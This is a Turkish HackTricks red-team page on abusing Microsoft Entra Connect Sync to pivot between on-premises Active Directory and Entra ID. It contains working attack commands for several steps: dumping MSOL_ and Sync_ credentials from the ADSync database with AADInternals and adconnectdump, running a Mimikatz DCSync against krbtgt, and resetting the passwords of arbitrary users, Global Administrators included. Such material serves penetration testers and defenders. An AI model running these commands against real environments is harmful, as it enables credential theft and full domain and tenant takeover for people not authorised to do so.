Az - Connect Sync

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Temel Bilgiler

Belgelerden: Microsoft Entra Connect synchronization services (Microsoft Entra Connect Sync), Microsoft Entra Connect’in ana bileşenlerinden biridir. On-premises ortamınız ile Microsoft Entra ID arasındaki kimlik verilerinin senkronizasyonu ile ilgili tüm işlemleri yönetir.

Sync servisi iki bileşenden oluşur: on-premises tarafındaki Microsoft Entra Connect Sync bileşeni ve Microsoft Entra ID tarafındaki Microsoft Entra Connect Sync service adlı servis bileşeni.

Kullanmak için AD ortamınızdaki bir sunucuya Microsoft Entra Connect Sync ajanının kurulması gerekir. Bu ajan AD tarafındaki senkronizasyondan sorumlu olacaktır.

Connect Sync temelde AD’den Entra ID’ye kullanıcıları senkronize etmenin “eski” Azure yoludur. Yeni önerilen yol ise Entra Cloud Sync kullanmaktır:

Az - Cloud Sync

Oluşturulan Principals

  • MSOL_<installationID> hesabı on-prem AD’de otomatik olarak oluşturulur. Bu hesaba bir Directory Synchronization Accounts rolü verilir (bkz. documentation) ve bu da hesabın on-prem AD içinde replication (DCSync) izinlerine sahip olduğu anlamına gelir.
  • Bu, bu hesabı ele geçiren herhangi birinin on-premise domain’i ele geçirebileceği anlamına gelir.
  • On-prem AD’de özel hiçbir varsayılan ayrıcalığı olmayan yönetilen bir servis hesabı ADSyncMSA<id> oluşturulur.
  • Entra ID içinde bir sertifika ile birlikte Service Principal ConnectSyncProvisioning_ConnectSync_<id> oluşturulur.

Parolaları Senkronize Etme

Parola Hash Senkronizasyonu

Bu bileşen ayrıca AD’den Entra ID’ye parolaları senkronize etmek için kullanılabilir; böylece kullanıcılar AD parolalarını Entra ID’ye bağlanmak için kullanabilirler. Bunun için AD sunucusuna kurulu olan Microsoft Entra Connect Sync ajanında password hash synchronization’ın etkinleştirilmesi gerekir.

Belgelerden: Password hash synchronization, hibrit kimliği sağlamak için kullanılan oturum açma yöntemlerinden biridir. Azure AD Connect, bir kullanıcının parolasının hash’inin hash’ini on-premises Active Directory örneğinden bulut tabanlı Azure AD örneğine senkronize eder.

Temelde tüm kullanıcılar ve parolaların hashlerinin hash’i on-prem’den Azure AD’ye senkronize edilir. Ancak düz metin parolalar veya orijinal hash’ler Azure AD’ye gönderilmez.

Hash’lerin senkronizasyonu her 2 dakikada bir gerçekleşir. Ancak varsayılan olarak parola süresi ve hesap süresi Azure AD’ye senkronize edilmez. Yani on-prem parolası süresi dolmuş (değiştirilmemiş) bir kullanıcı, eski parola ile Azure kaynaklarına erişmeye devam edebilir.

Bir on-prem kullanıcı Azure kaynağına erişmek istediğinde, kimlik doğrulama Azure AD üzerinde gerçekleşir.

Note

Varsayılan olarak adminCount özniteliği 1 olan Domain Admins gibi bilinen ayrıcalıklı grupların kullanıcıları güvenlik nedenleriyle Entra ID ile senkronize edilmez. Ancak bu özniteliğe sahip olmayan ayrıcalıklı grupların üyeleri ya da doğrudan yüksek ayrıcalıklar atanmış diğer kullanıcılar senkronize edilebilir.

Password Writeback

Bu yapılandırma, bir kullanıcı Entra ID’de parolasını değiştirdiğinde parolaların Entra ID’den AD’ye senkronize edilmesine izin verir. Password writeback’in çalışması için AD’de otomatik oluşturulan MSOL_<id> kullanıcısına dokümanda belirtildiği gibi daha fazla ayrıcalık verilmesi gerekir; böylece AD’deki herhangi bir kullanıcının parolasını değiştirebilecek duruma gelir.

Bu, özellikle ele geçirilmiş bir Entra ID’den AD’yi ele geçirmek için ilginçtir çünkü neredeyse herhangi bir kullanıcının parolasını değiştirebilirsiniz.

Domain admin’ler ve bazı ayrıcalıklı gruplara ait diğer kullanıcılar, grup adminCount özniteliği 1 ise replike edilmezler. Ancak AD içinde doğrudan yüksek ayrıcalıklar verilmiş ve bu gruplardan hiçbirine ait olmayan diğer kullanıcıların parolaları değiştirilebilir. Örneğin:

  • Doğrudan yüksek ayrıcalık atanmış kullanıcılar.
  • DNSAdmins grubundan kullanıcılar.
  • GPO oluşturan ve bunları OU’lara atayan Group Policy Creator Owners grubundan kullanıcılar, oluşturdukları GPO’ları değiştirebilirler.
  • Active Directory’ye sertifika yayımlayabilen Cert Publishers Group üyeleri.
  • adminCount özniteliği 1 olmayan, yüksek ayrıcalıklara sahip herhangi bir diğer grup üyesi.

Pivoting AD –> Entra ID

Enumerating Connect Sync

Check for users:

# Check for the users created by the Connect Sync
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description | fl
Get-ADServiceAccount -Filter "SamAccountName -like 'ADSyncMSA*'" -Properties SamAccountName,Description | Select-Object SamAccountName,Description | fl
Get-ADUser -Filter "samAccountName -like 'Sync_*'" -Properties * | select SamAccountName,Description | fl

# Check it using raw LDAP queries without needing an external module
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.Filter = "(samAccountName=MSOL_*)"
$searcher.FindAll()
$searcher.Filter = "(samAccountName=ADSyncMSA*)"
$searcher.FindAll()
$searcher.Filter = "(samAccountName=Sync_*)"
$searcher.FindAll()

Varsa Connect Sync configuration’ı kontrol edin:

az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"
# Check if password sychronization is enabled, if password and group writeback are enabled...

Parolaları bulma

MSOL_* kullanıcısının parolaları (ve oluşturulduysa Sync_* kullanıcısının parolaları) Entra ID Connect’in yüklü olduğu sunucudaki bir SQL server üzerinde saklanır. Yöneticiler bu ayrıcalıklı kullanıcıların parolalarını düz metin olarak çıkartabilirler.\

Veritabanı şu konumdadır: C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf.

Tablolardan birinden yapılandırmayı çıkarmak mümkündür; bunlardan biri şifrelenmiştir:

SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;

encrypted configuration DPAPI ile şifrelenmiştir ve içinde on-prem AD’deki MSOL_* kullanıcısının parolalarını ve AzureAD’deki Sync_* kullanıcısının parolasını içerir. Bu yüzden bunların ele geçirilmesi halinde AD ve AzureAD’e privesc yapmak mümkündür.

Bu kimlik bilgileri nasıl saklandığı ve çözüldüğüne dair tam bir özet için şu konuşmaya bakabilirsiniz: full overview of how these credentials are stored and decrypted in this talk.

MSOL_*’ın kötüye kullanımı

# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals  if you have a later version
Import-Module AADInternals
Get-AADIntSyncCredentials
# Or check DumpAADSyncCreds.exe from https://github.com/Hagrid29/DumpAADSyncCreds/tree/main

# Using https://github.com/dirkjanm/adconnectdump
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80
.\ADSyncQuery.exe C:\Users\eitot\Tools\adconnectdump\ADSync.mdf > out.txt
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80 --existing-db --from-file out.txt

# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'

Warning

Önceki saldırılarda diğer parola ele geçirilerek Sync_* adlı Entra ID kullanıcısına bağlanılmış ve ardından Entra ID ele geçirilmişti. Ancak artık bu kullanıcı mevcut değil.

ConnectSyncProvisioning_ConnectSync_ Kötüye Kullanımı

Bu uygulama, herhangi bir Entra ID veya Azure yönetim rolü atanmış olarak oluşturulmamıştır. Ancak, aşağıdaki API izinlerine sahiptir:

  • Microsoft Entra AD Synchronization Service
  • ADSynchronization.ReadWrite.All
  • Microsoft password reset service
  • PasswordWriteback.OffboardClient.All
  • PasswordWriteback.RefreshClient.All
  • PasswordWriteback.RegisterClientVersion.All

Bu uygulamanın SP’sinin belgelenmemiş bir API kullanarak bazı ayrıcalıklı eylemleri gerçekleştirmek için hâlâ kullanılabileceği belirtiliyor, ancak bildiğim kadarıyla henüz bir PoC bulunamadı.
Her durumda, bunun mümkün olabileceğini düşünerek, bu service principal olarak oturum açmak için sertifikayı nasıl bulacağımızı araştırmak ve onu kötüye kullanmayı denemek ilginç olur.

Bu değişikliğin Sync_* kullanıcısından bu service principal’e geçişinden kısa süre sonra yayımlanan bu [blog post](https://posts.specterops.io/update-dumping-en tra-connect-sync-credentials-4a9114734f71), sertifikanın sunucunun içinde saklandığını ve onu bulup PoP (Proof of Possession) oluşturmak ve graph token üretmek mümkün olduğunu; bununla birlikte service principal’a yeni bir sertifika ekleyebildiğinizi (çünkü bir service principal her zaman kendisine yeni sertifikalar atayabilir) ve ardından bunu SP olarak kalıcılığı sürdürmek için kullanabildiğinizi açıklıyordu.

Bu eylemleri gerçekleştirmek için şu araçlar yayımlanmıştır: SharpECUtils.

Bu soru’ya göre, sertifikayı bulmak için aracı, miiserver sürecinin token’ını çalmış bir süreçten çalıştırmanız gerekir.

Sync_* Kötüye Kullanımı [DEPRECATED]

Warning

Önceden Sync_* adlı bir kullanıcı Entra ID’de çok hassas izinlerle oluşturuluyordu; bu izinler herhangi bir kullanıcının parolasını değiştirmek veya bir service principal’a yeni bir kimlik bilgisi eklemek gibi ayrıcalıklı işlemleri gerçekleştirmeye olanak sağlıyordu. Ancak, Jan2025’ten itibaren bu kullanıcı varsayılan olarak artık oluşturulmamaktadır; artık Application/SP ConnectSyncProvisioning_ConnectSync_<id> kullanılmaktadır. Yine de bazı ortamlarda hâlâ bulunuyor olabilir, bu yüzden kontrol etmeye değerdir.

Sync_* hesabı ele geçirildiğinde herhangi bir kullanıcının (Global Administrators dahil) parolasını sıfırlamak mümkündür

Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals  if you have a later version
Import-Module AADInternals

# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials

# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache

# Get global admins
Get-AADIntGlobalAdmins

# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId

# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose

# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)

Ayrıca yalnızca cloud kullanıcılarının parolalarını değiştirmek de mümkün (beklenmedik olsa bile)

# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers

It’s also possible to dump the password of this user.

Caution

Başka bir seçenek, assign privileged permissions to a service principal, bu işlemi Sync kullanıcısının permissions ile yapabilmesi ve ardından access that service principal ile privesc elde edilmesidir.

Seamless SSO

Seamless SSO’yu PHS ile kullanmak mümkündür; bu başka kötüye kullanımlara karşı savunmasız olabilir. İnceleyin:

Az - Seamless SSO

Pivoting Entra ID –> AD

  • Eğer password writeback etkinse, Entra ID ile senkronize edilmiş AD’deki herhangi bir kullanıcının parolasını değiştirebilirsiniz.
  • Eğer groups writeback etkinse, AD ile senkronize edilmiş Entra ID’deki ayrıcalıklı gruplara kullanıcılar ekleyebilirsiniz.

References

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin